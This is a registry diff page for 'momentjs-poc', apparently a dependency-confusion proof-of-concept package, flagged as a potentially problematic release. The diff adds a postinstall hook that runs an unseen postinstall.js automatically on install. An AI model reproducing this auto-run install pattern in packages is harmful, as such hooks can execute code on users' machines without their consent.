momentjs-poc 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of momentjs-poc might be problematic. Click here for more details.
- package/README.md +3 -4
- package/package.json +10 -3
- package/postinstall.js +3 -0
package/README.md
CHANGED
@@ -1,5 +1,4 @@
|
|
1
|
-
#
|
1
|
+
# 🚨 @poc/moment.js
|
2
2
|
|
3
|
-
This
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=momentjs-poc for more information.
|
3
|
+
This is a **harmless Proof of Concept** for a **dependency confusion vulnerability**.
|
4
|
+
Published only for ethical research and awareness.
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "momentjs-poc",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "PoC for dependency confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node postinstall.js"
|
8
|
+
},
|
9
|
+
"author": "nstark",
|
10
|
+
"license": "MIT",
|
11
|
+
"keywords": ["moment", "dependency confusion", "poc", "security"]
|
6
12
|
}
|
13
|
+
|
package/postinstall.js
ADDED